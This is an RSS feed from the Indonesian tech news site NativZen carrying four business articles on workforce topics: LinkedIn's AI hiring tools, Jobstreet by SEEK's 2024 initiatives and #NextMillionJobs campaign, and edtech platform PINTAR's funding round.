<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>tenaga kerja &#8211; NativZen</title>
	<atom:link href="https://nativzen.com/tag/tenaga-kerja/feed/" rel="self" type="application/rss+xml" />
	<link>https://nativzen.com</link>
	<description>Berita gadget dan teknologi terbaru</description>
	<lastBuildDate>Wed, 05 Mar 2025 03:24:40 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.5.5</generator>

<image>
	<url>https://nativzen.com/wp-content/uploads/2025/02/cropped-NZ_icon_no_BG-32x32.png</url>
	<title>tenaga kerja &#8211; NativZen</title>
	<link>https://nativzen.com</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>LinkedIn Perkenalkan Fitur AI Baru untuk Bantu Perekrutan</title>
		<link>https://nativzen.com/2025/03/05/linkedin-perkenalkan-fitur-ai-baru-untuk-bantu-perekrutan/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Wed, 05 Mar 2025 03:23:34 +0000</pubDate>
				<category><![CDATA[BUSINESS]]></category>
		<category><![CDATA[aplikasi linkedin]]></category>
		<category><![CDATA[fitur ai]]></category>
		<category><![CDATA[linkedin]]></category>
		<category><![CDATA[tenaga kerja]]></category>
		<category><![CDATA[terampil ai]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=16965</guid>

					<description><![CDATA[Inovasi ini mencakup AI agent pertama LinkedIn, LinkedIn Hiring Assistant, serta fitur baru dalam AI-Powered Coaching di LinkedIn Learning. ]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; LinkedIn berkomitmen mendukung tenaga kerja Indonesia di era transformasi digital yang pesat melalui solusi terbaru berbasis AI. Inovasi ini mencakup AI agent pertama LinkedIn, LinkedIn Hiring Assistant, serta fitur baru dalam AI-Powered Coaching di LinkedIn Learning. </p>



<p>Teknologi ini akan menyederhanakan proses perekrutan bagi bisnis di Indonesia serta membantu para profesional mengembangkan keterampilan yang sedang banyak dibutuhkan, sehingga mereka bisa meningkatkan karier sekaligus menjembatani kesenjangan keterampilan yang dihadapi para perekrut di Indonesia.</p>



<p>LinkedIn Hiring Assistant dirancang untuk menangani tugas-tugas perekrutan yang repetitif dan memakan waktu—seperti memposting lowongan kerja dan melakukan pencarian berulang untuk posisi yang sama. </p>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="960" height="638" src="https://nativzen.com/wp-content/uploads/2025/03/960x0.jpg" alt="" class="wp-image-16966" srcset="https://nativzen.com/wp-content/uploads/2025/03/960x0.jpg 960w, https://nativzen.com/wp-content/uploads/2025/03/960x0-300x199.jpg 300w, https://nativzen.com/wp-content/uploads/2025/03/960x0-768x510.jpg 768w, https://nativzen.com/wp-content/uploads/2025/03/960x0-370x246.jpg 370w, https://nativzen.com/wp-content/uploads/2025/03/960x0-270x179.jpg 270w, https://nativzen.com/wp-content/uploads/2025/03/960x0-570x379.jpg 570w, https://nativzen.com/wp-content/uploads/2025/03/960x0-740x492.jpg 740w" sizes="(max-width: 960px) 100vw, 960px" /></figure>



<p>Dengan begitu, perekrut dapat lebih fokus pada hal-hal strategis, seperti membangun hubungan dengan kandidat, melakukan wawancara mendalam, serta menilai soft skills dan kecocokan budaya kerja. </p>



<p>Berdasarkan data LinkedIn, 74% profesional HR di Indonesia percaya bahwa alat berbasis AI dapat mempercepat dan menyederhanakan proses perekrutan. Hiring Assistant membantu perekrut menemukan kandidat berdasarkan keterampilan mereka.</p>



<p>Hal ini membuka akses ke lebih banyak talenta potensial. AI agent ini juga terus mempelajari preferensi perekrut untuk memberikan rekomendasi yang semakin personal, sehingga mempermudah pencarian kandidat yang tepat dengan lebih cepat.</p>



<p>Selain itu, LinkedIn juga memperluas AI-Powered Coaching dengan fitur baru dalam bahasa Inggris yang dirancang untuk membantu para profesional berlatih keterampilan interpersonal yang penting di dunia kerja. </p>



<p>Fitur ini memungkinkan pengguna untuk berlatih menghadapi berbagai skenario—seperti memberikan review kinerja, membahas keseimbangan kerja dan kehidupan, serta memberikan umpan balik—melalui interaksi berbasis teks atau suara. </p>



<p>Dengan adanya umpan balik personal dalam lingkungan virtual yang aman, pengguna bisa lebih percaya diri dalam menghadapi percakapan penting di tempat kerja. Perusahaan global seperti Thomson Reuters, Gates Foundation, dan lembaga pemikir asal Inggris IIED telah menggunakan fitur ini. </p>



<p>Di tengah pesatnya perkembangan AI, tantangan dalam meningkatkan keterampilan semakin besar, sehingga investasi dalam Learning &amp; Development (L&amp;D) serta mobilitas internal menjadi sangat penting. </p>



<p>Hal ini sangat relevan di Indonesia, di mana 56% profesional HR mengalami kesulitan dalam mendapatkan sumber belajar yang disesuaikan, yang dapat menghambat mereka dalam menemukan dan mengembangkan talenta terbaik dari dalam organisasi.</p>



<p>Dengan menyediakan kesempatan belajar yang lebih terarah, AI-Powered Coaching di LinkedIn Learning membantu para profesional mengasah keterampilan yang paling dibutuhkan—terutama keterampilan interpersonal—untuk mempercepat kemajuan karier mereka.</p>



<p>&#8220;Kesenjangan keterampilan di Indonesia perlu diatasi dengan dua pendekatan. Perusahaan harus fokus merekrut berdasarkan keterampilan, sementara profesional perlu terus belajar,&#8221; ujar Rohit Kalsy, Indonesia Country Lead di LinkedIn. </p>



<p>Ditambahkan oleh Rohit Kalsy bahwa seiring AI yang semakin membentuk dunia kerja, LinkedIn berkomitmen untuk terus mengembangkan solusi berbasis AI agar bisnis dan profesional bisa terhubung lebih cepat, mempercepat perekrutan, dan membuka peluang baru.</p>



<p>Setuju dengan pernyataan Rohit Kalsy, Alifah Zahra, Head of Talent Acquisition di Paragon Corp, menambahkan bahwa AI membuat kerja HR lebih efisien dengan memungkinkan fokus pada strategi dan keputusan berbasis data.</p>



<p>&#8220;Dengan LinkedIn Hiring Assistant, kami tentunya berharap proses rekrutmen tenaga kerja menjadi lebih lancar dan efektif, sehingga Talent Acquisition bisa lebih berperan sebagai mitra strategis bisnis,&#8221; ujar Alifah Zahra.</p>



<h3 class="wp-block-heading">Pendekatan Berbasis Keterampilan</h3>



<p>Ekspansi solusi AI dari LinkedIn di Indonesia hadir di momen yang tepat, karena 94% eksekutif di Asia-Pasifik (APAC) menetapkan adopsi AI sebagai prioritas strategis untuk 2025. Dengan wawasan dari lebih dari 1,1 miliar anggota dan hampir 69 juta perusahaan.</p>



<p>Laporan LinkedIn Work Change Report menunjukkan bahwa organisasi yang cepat beradaptasi akan memiliki keunggulan kompetitif. Buktinya, dalam dua tahun terakhir, 51% bisnis global yang telah menerapkan Generative AI mengalami peningkatan pendapatan hingga 10% atau lebih.</p>



<p>Meskipun AI mendorong pertumbuhan bisnis di seluruh dunia, tenaga kerja di Indonesia masih kekurangan keterampilan yang dibutuhkan untuk memanfaatkan peluang ini. Jika investasi dalam pengembangan keterampilan AI tidak segera dilakukan, ini akan beresiko tinggi bagi Indonesia.</p>



<p>Data LinkedIn mengungkapkan kesenjangan keterampilan yang signifikan di Indonesia:</p>



<ul>
<li>1 dari 2 profesional HR mengatakan bahwa kurang dari setengah pelamar memenuhi semua kualifikasi yang dibutuhkan.</li>



<li>63% profesional HR melaporkan adanya ketidaksesuaian antara keterampilan pelamar dan kebutuhan perusahaan.</li>



<li>Keterampilan yang paling sulit ditemukan di antara kandidat Indonesia meliputi:<br>○ Keahlian AI (45%)<br>○ Keterampilan teknis &amp; IT seperti pengembangan perangkat lunak dan rekayasa (40%)<br>○ Soft skills seperti komunikasi dan pemecahan masalah (32%)</li>
</ul>



<p>Sebagai solusinya, LinkedIn mendorong model perekrutan berbasis keterampilan (skills-first hiring), di mana kompetensi menjadi prioritas utama dibandingkan latar belakang pendidikan atau pengalaman kerja.  </p>



<p>Pendekatan ini terbukti efektif, meningkatkan jumlah kandidat yang memenuhi syarat hingga 9,5 kali lipat dibandingkan perekrutan berbasis pengalaman. Secara global, setengah dari perekrut di LinkedIn sudah menggunakan data keterampilan untuk mencari kandidat.</p>



<p>Kebutuhan untuk terus belajar dan meningkatkan keterampilan semakin mendesak. Data LinkedIn menunjukkan bahwa 85% profesional HR di Indonesia menetapkan upskilling karyawan sebagai prioritas utama untuk 2025</p>



<p>Keterampilan AI (85%) dan soft skills seperti kolaborasi serta growth mindset (84%) menjadi<br>yang paling dibutuhkan. Perusahaan yang menerapkan perekrutan berbasis keterampilan lebih efektif dalam mencocokkan talenta dengan peran yang tepat.</p>



<p>Ini menghasilkan kinerja dan hasil bisnis yang lebih baik. Pendekatan ini juga membuka peluang yang lebih luas dan inklusif. Bahkan, 92% pemimpin C-suite di APAC lebih memilih kandidat dengan potensi berkembang dan kemauan belajar.</p>



<p>Seiring AI yang terus mengubah pasar kerja, dampaknya terhadap perekrutan dan pengembangan karier tidak bisa diabaikan. LinkedIn berkomitmen untuk mendukung bisnis dan profesional dalam menemukan serta mendapatkan pekerjaan yang sesuai. </p>



<p>Dengan memanfaatkan tools berbasis AI, LinkedIn membantu perusahaan menerapkan perekrutan berbasis keterampilan sekaligus memberikan kesempatan bagi para profesional untuk meningkatkan keterampilan mereka dan beradaptasi dengan perubahan.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Ini Catatan Inovasi Jobstreet by SEEK di 2024</title>
		<link>https://nativzen.com/2025/01/15/ini-catatan-inovasi-jobstreet-by-seek-di-2024/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Wed, 15 Jan 2025 02:10:08 +0000</pubDate>
				<category><![CDATA[BUSINESS]]></category>
		<category><![CDATA[bursa kerja]]></category>
		<category><![CDATA[jobstreet]]></category>
		<category><![CDATA[lowongan kerja]]></category>
		<category><![CDATA[seek]]></category>
		<category><![CDATA[tenaga kerja]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=15430</guid>

					<description><![CDATA[Jobstreet by SEEK terus mendorong pertumbuhan peluang kerja dan memperkuat peran perusahaan di Indonesia.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; Sepanjang tahun 2024, Badan Pusat Statistik (BPS), mencatat bahwa jumlah penduduk usia kerja di Indonesia pada Agustus 2024 mencapai 215,37 juta orang. Dari jumlah tersebut, 152,11 juta merupakan bagian dari angkatan kerja, dengan 144,64 juta orang telah bekerja, sedangkan 7,47 juta orang masih dalam keadaan menganggur.</p>



<p>Menanggapi dinamika industri ketenagakerjaan, Jobstreet by SEEK terus menunjukkan komitmennya melalui berbagai inovasi yang mempermudah pencari kerja menemukan peluang karir yang sesuai sekaligus membantu perusahaan mendapatkan talenta terbaik. </p>



<p>Sebagai bentuk kontribusi terhadap perkembangan industri ketenagakerjaan dan pertumbuhan ekonomi Indonesia, Jobstreet by SEEK menghadirkan inisiatif yang dirancang untuk membuka lebih banyak peluang kerja dan mendukung proses rekrutmen perusahaan sepanjang tahun 2024.</p>



<h3 class="wp-block-heading">Inovasi Digital untuk Masa Depan Karir</h3>



<p>Di era digital saat ini, teknologi telah mengubah lanskap industri ketenagakerjaan, dengan kecerdasan buatan (AI) yang semakin berkembang pesat. Namun, kemajuan ini juga diiringi dengan meningkatnya kasus penipuan di dunia kerja, yang menjadi tantangan bagi pencari kerja.</p>



<p>Di tengah situasi ini, Jobstreet by SEEK berkomitmen untuk tidak hanya menyediakan akses peluang kerja yang aman, tetapi juga terus berperan aktif dalam memberikan edukasi kepada publik. </p>



<p>Melalui platform Jobstreet by SEEK, pencari kerja dapat mengakses peluang yang lebih aman, sekaligus mendapatkan informasi yang diperlukan untuk menghindari penipuan, menjadikan proses rekrutmen lebih terpercaya dan transparan.</p>



<ul>
<li><strong>Membuka akses bagi pencari kerja untuk menjelajahi lebih banyak peluang karir di delapan pasar Asia Pasifik.</strong></li>
</ul>



<ol></ol>



<p>SEEK merevolusi industri ketenagakerjaan di Asia Pasifik (APAC) dengan mengintegrasikan SEEK, Jobstreet, dan JobsDB dalam satu platform yang didukung oleh teknologi kecerdasan buatan alias AI kelas dunia. </p>



<p>Menghubungkan lebih dari 40 juta pencari kerja dan 2,5 juta pemberi kerja di delapan pasar, termasuk peluang kerja hybrid dan jarak jauh, integrasi ini pada akahirnya mampu meningkatkan efisiensi perekrutan.</p>



<p>Fitur-fitur baru seperti pencarian yang lebih intuitif dan rekomendasi personal berbasis AI semakin relevan bagi pengguna. Inovasi ini memperkuat komitmen SEEK dalam menciptakan pengalaman rekrutmen yang inklusif dan mendukung kemajuan karir  jutaan pengguna.<br></p>



<ul>
<li><strong>Membantu Pencari Kerja Tetap Waspada Terhadap Lowongan Pekerjaan yang Berisiko</strong></li>
</ul>



<ol start="2"></ol>



<p>Maraknya penipuan lowongan kerja online merugikan Indonesia hingga Rp 59 miliar. Sebagai mitra karier terpercaya, Jobstreet by SEEK berkomitmen menciptakan ekosistem pencarian kerja yang aman dengan teknologi AI untuk memverifikasi iklan dan menindak tegas iklan mencurigakan. </p>



<p>Dalam rangka International Fraud Awareness Week 2024, Jobstreet by SEEK menekankan pentingnya edukasi untuk melindungi pencari kerja, termasuk tips riset perusahaan, waspada terhadap pembayaran di muka, dan menjaga kerahasiaan data pribadi.</p>



<ul>
<li><strong>Transformasi Digital untuk Pengalaman Pencarian Kerja yang Lebih Personal dan Global</strong></li>
</ul>



<p>SEEK Pass, sebagai bagian dari pencapaian inovasi Jobstreet by SEEK di 2024 begitu disambut positif para pencari kerja. Dukungan tersebut memungkinkan kandidat memverifikasi kredensial pekerjaan dan mencantumkannya di profil Jobstreet mereka.</p>



<p>Lebih dari itu, para pemberi kerja juga dapat mengakses kredensial yang terverifikasi ini. Pada akhirnya akan meningkatkan efisiensi dan keamanan proses rekrutmen serta membantu kandidat menonjol di mata perusahaan.</p>



<h3 class="wp-block-heading"><strong>Meningkatkan Inklusivitas dan Transparansi Rekrutmen Perusahaan di Indonesia</strong></h3>



<p>Tahun 2024 menjadi momen penuh perubahan dan harapan bagi pasar tenaga kerja Indonesia. Jobstreet by SEEK mengerti bahwa penciptaan lapangan pekerjaan menjadi kunci dari pertumbuhan ekonomi nasional. </p>



<p>Hal ini menjadi alasan untuk terus mengedepankan komitmennya dalam  mengembangkan  industri ketenagakerjaan nasional. </p>



<ul>
<li><em><strong>#</strong></em><strong><em>NextMillionJobs</em>: Fokus Penciptaan Jutaan Lapangan Pekerjaan Dimulai</strong></li>
</ul>



<ol></ol>



<p>Melalui peluncuran gerakan <strong><em>#NextMillionJobs</em></strong>, Jobstreet by SEEK memiliki tujuan untuk menciptakan satu juta peluang kerja baru untuk tenaga kerja Indonesia, yang akan mendukung perekonomian nasional. </p>



<p>Gerakan ini memperluas akses informasi lowongan kerja, memberdayakan pencari kerja, dan menyediakan platform aman dalam pencarian pekerjaan. Diharapkan <em>#NextMillionJobs</em> dapat menciptakan ekosistem ketenagakerjaan inklusif yang mendukung visi Indonesia Emas 2045.</p>



<p>Sebagai bagian dari inisiatif ini, SEEK merilis laporan tren dunia kerja dan menghadirkan berbagai inisiatif untuk mendukung perusahaan dalam memasang iklan lowongan pekerjaan secara gratis, tanpa batas, dan kapan saja, untuk posisi apapun, secara gratis dan aman.</p>



<ul>
<li><strong>Mendukung Ekonomi Daerah dengan Iklan Lowongan Gratis dan Aman</strong></li>
</ul>



<ol start="2"></ol>



<p>Jobstreet by SEEK meluncurkan produk yang memungkinkan perusahaan mempublikasikan iklan lowongan pekerjaan secara gratis dan aman, tanpa batas, kapan saja, untuk berbagai posisi secara gratis dan aman. </p>



<p>Mulai Juni 2024 program ini difokuskan untuk mendukung pertumbuhan ekonomi di wilayah seperti Sumatera, Kalimantan, Sulawesi, Maluku, Bali, Nusa Tenggara, dan Papua. Inisiatif ini bertujuan memperluas akses pencari kerja.</p>



<p>Selain itu, inisiatif ini juga memberikan peluang inklusif bagi perusahaan untuk menemukan talenta lokal berkualitas tanpa memandang skala usaha, serta menyediakan platform aman di tengah meningkatnya kasus penipuan lowongan kerja yang merugikan banyak pihak.</p>



<ul>
<li><strong>Strategi Pemanfaatan Generative AI untuk Menarik dan Mempertahankan Talenta Terbaik di Era Modern</strong></li>
</ul>



<p>Untuk menarik dan mempertahankan SDM terbaik di era GenAI, Jobstreet by SEEK menyarankan perusahaan untuk mengidentifikasi keterampilan baru, menarik talenta dengan proses rekrutmen yang sesuai, dan mengembangkan tenaga kerja melalui pelatihan strategis yang selaras.</p>



<p>Langkah-langkah ini membantu perusahaan memanfaatkan GenAI untuk meningkatkan produktivitas tim, mendukung keseimbangan kerja, serta menciptakan lapangan kerja melalui kampanye <em><strong>#NextMillionsJobs</strong></em>.</p>



<p><strong>Kerja Jarak Jauh Menjadi Solusi Bagi Profesional Indonesia untuk Akses Peluang Internasional</strong><strong><br></strong><strong><br></strong>Berdasarkan laporan terbaru “Decoding Global Talent: Mobility Trends 2024 (SEA Edition)”, para profesional Indonesia semakin mencari pengalaman internasional untuk mengatasi keterbatasan pasar kerja domestik.</p>



<p>44% di antaranya menganggap biaya relokasi sebagai hambatan utama. Sebagai alternatif, kerja jarak jauh menjadi pilihan menarik untuk mengakses peluang internasional tanpa menghadapi kendala relokasi. </p>



<p>Tren ini semakin meningkat, dengan persentase profesional yang bekerja untuk perusahaan asing tanpa kehadiran fisik di negara asal mereka melonjak dari 62% pada 2020 menjadi 71% pada 2023 di seluruh Asia Tenggara dan Hong Kong. </p>



<p>Hal ini menjadi solusi bagi perusahaan yang kesulitan memenuhi kebutuhan tenaga kerja sekaligus membuka peluang baru bagi profesional berbakat. Menyambut tahun 2025, Jobstreet by SEEK akan terus meningkatkan peluang jutaan lapangan kerja.</p>



<p>Selain itu, juga akan menghadirkan sebuah peluncuran inisiatif dengan skala nasional yang berfokus untuk memungkinkan seluruh perusahaan di Indonesia agar dapat mempublikasikan semua peluang kerja dengan lebih mudah dan aman. </p>



<p>Maka dari itu, Jobstreet by SEEK mengajak semua pemangku kepentingan termasuk masyarakat, perusahaan, serta pemerintah untuk turut berpartisipasi dalam menciptakan peluang kerja baru guna mendorong perekonomian nasional. </p>



<ol start="4"></ol>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Jobstreet by SEEK Meluncurkan Inisiatif #NextMillionJobs</title>
		<link>https://nativzen.com/2024/12/23/jobstreet-by-seek-meluncurkan-inisiatif-nextmillionjobs/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Sun, 22 Dec 2024 22:56:57 +0000</pubDate>
				<category><![CDATA[BUSINESS]]></category>
		<category><![CDATA[jobstreet by seek]]></category>
		<category><![CDATA[lowongan kerja]]></category>
		<category><![CDATA[nextmillionjobs]]></category>
		<category><![CDATA[tenaga kerja]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=15000</guid>

					<description><![CDATA[Dorong pertumbuhan industri ketenagakerjaan di 2025, Jobstreet by SEEK terus fokus perluas peluang kerja di Indonesia dengan merilis inisiatif #NextMillionJobs.]]></description>
										<content:encoded><![CDATA[
<p>NATIVZEN.com &#8211; Dunia kerja terus bertransformasi dengan pesat. Perkembangan teknologi yang semakin cepat juga telah menciptakan profesi-profesi baru dan mengubah lanskap industri secara signifikan di seluruh wilayah Indonesia. </p>



<p>Untuk mendukung visi Indonesia Emas 2045, Jobstreet by SEEK telah meluncurkan inisiatif <strong>#NextMillionJobs</strong>. Ini adalah sebuah gerakan yang bertujuan untuk menciptakan satu juta peluang kerja baru bagi masyarakat Indonesia.</p>



<p>Data Kementerian Ketenagakerjaan 2023 menunjukkan terdapat sekitar 463.000 lowongan pekerjaan yang tersedia di seluruh Indonesia. Kebutuhan untuk lebih banyak informasi mengenai lowongan kerja yang relevan menjadi semakin jelas, sehingga diperlukan upaya untuk membuka kesempatan kerja yang lebih luas.</p>



<p>“Inisiatif <strong>#NextMillionJobs</strong> merupakan wujud nyata komitmen kami dalam mendukung pertumbuhan industri ketenagakerjaan Indonesia,&#8221; ungkap Sawitri, Country Head of Marketing Indonesia, Jobstreet by SEEK.</p>



<p>Ia juga mengatakan bahwa dalam semester kedua 2024, pada platform Jobstreet by SEEK terjadi peningkatan jumlah iklan lowongan pekerjaan untuk wilayah di luar pulau Jawa sebanyak 60% jika dibandingkan pada periode yang sama di tahun 2023. </p>



<p>&#8220;Dengan terciptanya peluang kerja baru, kami berharap inisiatif yang digulirkan oleh Jobstreet by SEEK dapat meningkatkan kesejahteraan masyarakat dan mendorong pertumbuhan positif ekonomi nasional,&#8221; tambah Sawitri.</p>



<h3 class="wp-block-heading">Transformasi di Pasar Tenaga Kerja Indonesia </h3>



<p>Sebagai bagian kontribusi di dalam kampanye #NextMillionJobs, Jobstreet by SEEK telah meluncurkan berbagai laporan komprehensif yang berkaitan dengan perkembangan serta tren ketenagakerjaan.</p>



<p>Seluruh laporan yang dirilis Jobstreet by SEEK bertujuan untuk terus membantu para pencari kerja mengantisipasi perubahan dunia kerja serta mengakomodir perusahaan dalam memahami lanskap talenta profesional di Indonesia. </p>



<p>Melalui salah satu laporan eksklusifnya yang berjudul “Decoding Global Talent 2024: Gen AI Edition” yang dirilis Oktober 2024 silam, Jobstreet menemukan bahwa adopsi GenAI di antara pekerja di Indonesia memperlihatkan pertumbuhan positif yang menjanjikan. </p>



<p>Dengan 38% pekerja menggunakan GenAI setiap bulannya, Indonesia bersaing dengan angka rata-rata global 39%. Selain itu, laporan eksklusif tersebut juga mengungkap bahwa pekerja Indonesia semakin akrab dengan AI.</p>



<p>Disebutkan bahwa pemanfaatan AI tidak lagi terbatas pada lingkungan kerja untuk meningkatkan produktivitas sehari-hari, namun telah menjadi bagian integral dari kehidupan sehari-hari mereka, termasuk dalam hal pengembangan diri.</p>



<p>Di sisi lain, terdapat juga perubahan preferensi lokasi dan dan bagaimana orang-orang Indonesia ingin bekerja. Hal ini terungkap dalam laporan eksklusif berjudul “Decoding Global Talent 2024: Tren Mobilitas Pekerja” yang dirilis Juni 2024.</p>



<p>Terungkap dalam laporan tersebut bahwa 67% masyarakat Indonesia pada tahun 2023 memiliki keinginan yang kuat untuk bekerja di luar negeri, setara dengan rata-rata kawasan Asia Tenggara yang mencapai 68%. </p>



<p>Berbeda dengan tren global di mana individu muda lebih bersedia untuk bekerja di luar negeri, masyarakat Indonesia di berbagai tahap kehidupan dan usia menunjukkan minat yang sama dalam relokasi internasional. </p>



<h3 class="wp-block-heading">Komitmen Jobstreet by SEEK Terhadap Industri Ketenagakerjaan di 2025</h3>



<p>Sejalan dengan visi Indonesia Emas 2045 yang bertujuan menjadikan Indonesia sebagai negara dengan pendapatan per kapita setara negara maju, Jobstreet by SEEK berkomitmen mendukung peningkatan daya saing Sumber Daya Manusia (SDM) angkatan kerja produktif Indonesia.</p>



<p>Hal ini dilakukan melalui perluasan akses lowongan kerja serta memberdayakan tenaga kerja melalui platform pencarian kerja yang aman dan terpercaya. Oleh karena itu, penting bagi perusahaan dan pemberi kerja untuk memanfaat momentum positif ekonomi nasional.</p>



<p>Hal ini tentunya juga bertujuan dalam rangka mengembangkan industri, serta tidak terpengaruh oleh resiko faktor eksternal seperti fenomena Middle Income Trap maupun Brain Drain di tahun mendatang.</p>



<p>Masih hadir di bawah payung <strong>#NextMillionJobs</strong>, Jobstreet juga menghadirkan  inisiatif dalam mendukung perusahaan untuk memasang iklan lowongan pekerjaan tanpa batas, kapan saja, untuk posisi apapun, secara gratis dan aman. </p>



<p>Sejak Juli 2024, inisiatif ini telah didorong untuk mendukung pertumbuhan ekonomi di beberapa wilayah di Indonesia, seperti di Sumatera, Kalimantan, Sulawesi, Maluku, Bali, Nusa Tenggara, Papua, serta daerah di sekitarnya. </p>



<p>Hal ini dilakukan dengan memfasilitasi akses yang lebih luas bagi para pencari kerja dan memberikan kesempatan yang lebih inklusif bagi perusahaan untuk menemukan kandidat lokal berkualitas, tanpa memandang skala bisnis mereka.</p>



<p>Ini sekaligus untuk memberikan wadah yang aman di tengah ramainya isu lowongan kerja palsu yang kerap merugikan semua pihak. Dengan berbagai strategi yang tepat dan terarah, tentunya kita semua dapat menatap masa depan Indonesia dengan optimis di tahun mendatang.</p>



<p>Kampanye<strong> #NextMillionJobs</strong> merupakan langkah konkrit dari Jobstreet by SEEK dalam mewujudkan optimisme tersebut dalam mengajak semua pemangku kepentingan termasuk masyarakat, perusahaan, serta pemerintah untuk turut mendorong perekonomian nasional. </p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>PINTAR Raih Pendanaan Pra-Seri A Senilai US$ 3 Juta</title>
		<link>https://nativzen.com/2024/03/19/pintar-raih-pendanaan-pra-seri-a-senilai-us-3-juta/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Tue, 19 Mar 2024 04:20:01 +0000</pubDate>
				<category><![CDATA[NEWS]]></category>
		<category><![CDATA[TREN & LIFESTYLE]]></category>
		<category><![CDATA[pelatihan kerja]]></category>
		<category><![CDATA[pintar]]></category>
		<category><![CDATA[platform edutech]]></category>
		<category><![CDATA[tenaga kerja]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=5016</guid>

					<description><![CDATA[PINTAR, platform edukasi, pelatihan dan penempatan serta salah satu pengembangan tenaga kerja baru saja meraih pendanaan.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; PINTAR, platform edukasi, pelatihan dan penempatan serta salah satu pengembangan tenaga kerja terkemuka di Indonesia, baru saja meraih pendanaan Pra-Seri A senilai US$ 3 juta dari Havez Capital dan SIG Venture Capital. </p>



<p>Pendanaan ini menandai babak baru bagi PINTAR dalam misinya untuk meningkatkan keterampilan, kredibilitas dan memperluas jangkauannya dalam membantu 110 juta pekerja Indonesia agar dapat keluar dari middle-income trap melalui teknologi. </p>



<p>“Kami mendukung PINTAR untuk meningkatkan keterampilan dan kredibilitas angkatan kerja negara kita melalui teknologi. Hal ini akan memungkinkan talenta-talenta berbakat untuk mengakses pekerjaan yang bermartabat,&#8221; ujar Imelda Harsono, Direktur Havez Capital. </p>



<figure class="wp-block-image size-full"><img decoding="async" width="776" height="493" src="https://nativzen.com/wp-content/uploads/2024/03/Screenshot-29.png" alt="" class="wp-image-5017" srcset="https://nativzen.com/wp-content/uploads/2024/03/Screenshot-29.png 776w, https://nativzen.com/wp-content/uploads/2024/03/Screenshot-29-300x191.png 300w, https://nativzen.com/wp-content/uploads/2024/03/Screenshot-29-768x488.png 768w, https://nativzen.com/wp-content/uploads/2024/03/Screenshot-29-370x235.png 370w, https://nativzen.com/wp-content/uploads/2024/03/Screenshot-29-270x172.png 270w, https://nativzen.com/wp-content/uploads/2024/03/Screenshot-29-470x300.png 470w, https://nativzen.com/wp-content/uploads/2024/03/Screenshot-29-570x362.png 570w, https://nativzen.com/wp-content/uploads/2024/03/Screenshot-29-740x470.png 740w" sizes="(max-width: 776px) 100vw, 776px" /></figure>



<p>Sementara itu, Rich Hsu, Partner of Southeast Asia Investments SIG Venture Capital, hal ini juga didukung oleh salah satu venture capital global yang berbasis di Amerika Serikat, yang juga turut memberikan pendanaan. </p>



<p>“Janji Indonesia sebagai kekuatan ekonomi di tingkat global bergantung pada sumber daya manusia yang berbakat. Investasi kami adalah bukti keyakinan kami terhadap masa depan Indonesia dan peran penting sumber daya manusia dalam membentuknya,&#8221; ujar Rich Shu. </p>



<p>Kondisi angkatan kerja Indonesia saat ini dihadapkan pada banyak tantangan. Mulai dari ketidaksesuaian antara keterampilan dan peran, rendahnya produktivitas, hambatan akses ke perekonomian formal, serta partisipasi dan kompensasi tenaga kerja yang tidak merata.</p>



<p>Mengingat cepatnya kenaikan biaya pendidikan, hilangnya keterampilan, dan banyaknya pekerja yang masuk dan keluar dari pasar tenaga kerja, Indonesia tidak dapat lagi mengandalkan sistem pendidikan formal yang bergerak lambat.</p>



<p>“Misi kami adalah memberdayakan tenaga kerja, kami percaya bahwa pendidikan dan pelatihan adalah kunci untuk meningkatkan keterampilan dan produktivitas angkatan kerja,&#8221; ujar Ray Pulungan, CEO PINTAR.</p>



<p>Ditambahkan oleh Ray bahwa dengan meningkatkan keterampilan dan produktivitas angkatan kerja, yang pada gilirannya akan mendorong pertumbuhan ekonomi dan meningkatkan taraf hidup masyarakat dan mengeluarkan Indonesia dari middle-income trap.</p>



<p>PINTAR adalah salah satu dari 6 platform digital dalam Program Kartu Prakerja yang sejak tahun 2019 dan telah membantu lebih dari 2 juta orang menyelesaikan pelatihannya. Hal ini diawasi langsung oleh Kementerian Koordinator Perekonomian Indonesia.</p>



<p>Hanya dalam kurun waktu 4 tahun, Program Kartu Prakerja telah memberikan pelatihan kepada lebih dari puluhan juta masyarakat Indonesia, termasuk ratusan ribu penyandang disabilitas dan<br>kelompok marginal. </p>



<p>PINTAR yang diririkan pada 2013 dengan nama HarukaEdu/Pintaria telah menjadi bagian dari ekosistem ini dan menunjukkan pertumbuhan pesat dengan CAGR (Compound Annual Growth Rate) sebesar 119% per tahun sejak tahun 2019 hingga akhir 2023.  </p>



<p>&#8220;Salah satu kunci keberhasilan Program Kartu Prakerja adalah kolaborasi yang solid, termasuk dengan platform digital, komitmen untuk membangun angkatan kerja yang lebih kuat,&#8221; ujar Dwina M. Putri, Direktur Kemitraan, Komunikasi, dan Pengembangan Ekosistem Prakerja. </p>



